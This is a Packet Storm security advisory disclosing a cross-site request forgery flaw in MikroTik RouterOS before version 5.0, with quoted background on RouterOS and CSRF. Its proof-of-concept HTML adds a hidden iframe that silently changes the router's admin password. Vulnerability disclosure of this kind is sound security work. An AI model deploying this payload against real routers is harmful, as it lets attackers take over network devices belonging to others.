MikroTik RouterOS versions prior to 5.0 suffer from a cross site request forgery vulnerabilities.
1b613fb5842b63ea229283b04b9a81dec10cf4d33e113fba40f802a5383c8609MikroTik RouterOS < v5.0 Admin Password Change CSRF Vulnerability by
@SymbianSyMoh
What is MikroTik RouterOS?!
MikroTik RouterOS is an operating system based on the Linux kernel, known
as the MikroTik RouterOS. Installed on the company's proprietary hardware
(RouterBOARD series), or on standard x86-based computers, it turns a
computer into a network router and implements various additional features,
such as firewalling, virtual private network (VPN) service and client,
bandwidth shaping and quality of service, wireless access point functions
and other commonly used features when interconnecting networks. The system
is also able to serve as a captive-portal-based hotspot system.
__"Wikipedia"
What is CSRF Attack?!
Cross-Site Request Forgery (CSRF) is an attack which forces an end user to
execute unwanted actions on a web application in which he/she is currently
authenticated. CSRF attacks specifically target state-changing requests,
not theft of data, since the attacker has no way to see the response to the
forged request. With a little help of social engineering (like sending a
link via email/chat), an attacker may trick the users of a web application
into executing actions of the attacker's choosing. If the victim is a
normal user, a successful CSRF attack can force the user to perform state
changing requests like transfering funds, changing their email address,
etc. If the victim is an administrative account, CSRF can compromise the
entire web application.
__"OWASP"
Affected Versions:
All MikroTik RouterOS versions before v5.0
PoC Code:
<html>
<body>
<title>MikroTik RouterOS < v4 Admin Password Change CSRF
Vulnerability</title>
<h1><b>MikroTik RouterOS < v4 Admin Password Change CSRF Vulnerability by
@SymbianSyMoh</b></h1></br>
<input type="submit" value="Do it" onclick="var
btn=document.createElement('IFRAME');btn.src='
http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok';btn.width='0';btn.height='0';btn.id='myIframe';document.body.appendChild(btn);alert('Pwned')
<http://s.bl-1.com/h/mPQQyg5?url=http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok%27;btn.width=%270%27;btn.height=%270%27;btn.id=%27myIframe%27;document.body.appendChild(btn);alert(%27Pwned%27)>
;"></br>
</body>
</html>
Video PoC:
http://youtu.be/FHrvHJeLjLA
<http://s.bl-1.com/h/mPQQ237?url=http://youtu.be/FHrvHJeLjLA>
--
*Best Regards**,**,*
*Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist
& Bug Bounty Hunter.
LinkedIn
<http://s.bl-1.com/h/mPQQ6S9?url=https://www.linkedin.com/in/symbiansymoh>Curriculum
Vitae <http://s.bl-1.com/h/mPQQCrC?url=http://goo.gl/cNrVpL>
<http://s.bl-1.com/h/mPQQHFF?url=https://www.linkedin.com/in/symbiansymoh>
Facebook
<http://s.bl-1.com/h/mPQQNfH?url=https://fb.com/symbiansymoh>Twitter
<http://s.bl-1.com/h/mPQQS2K?url=https://twitter.com/symbiansymoh>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed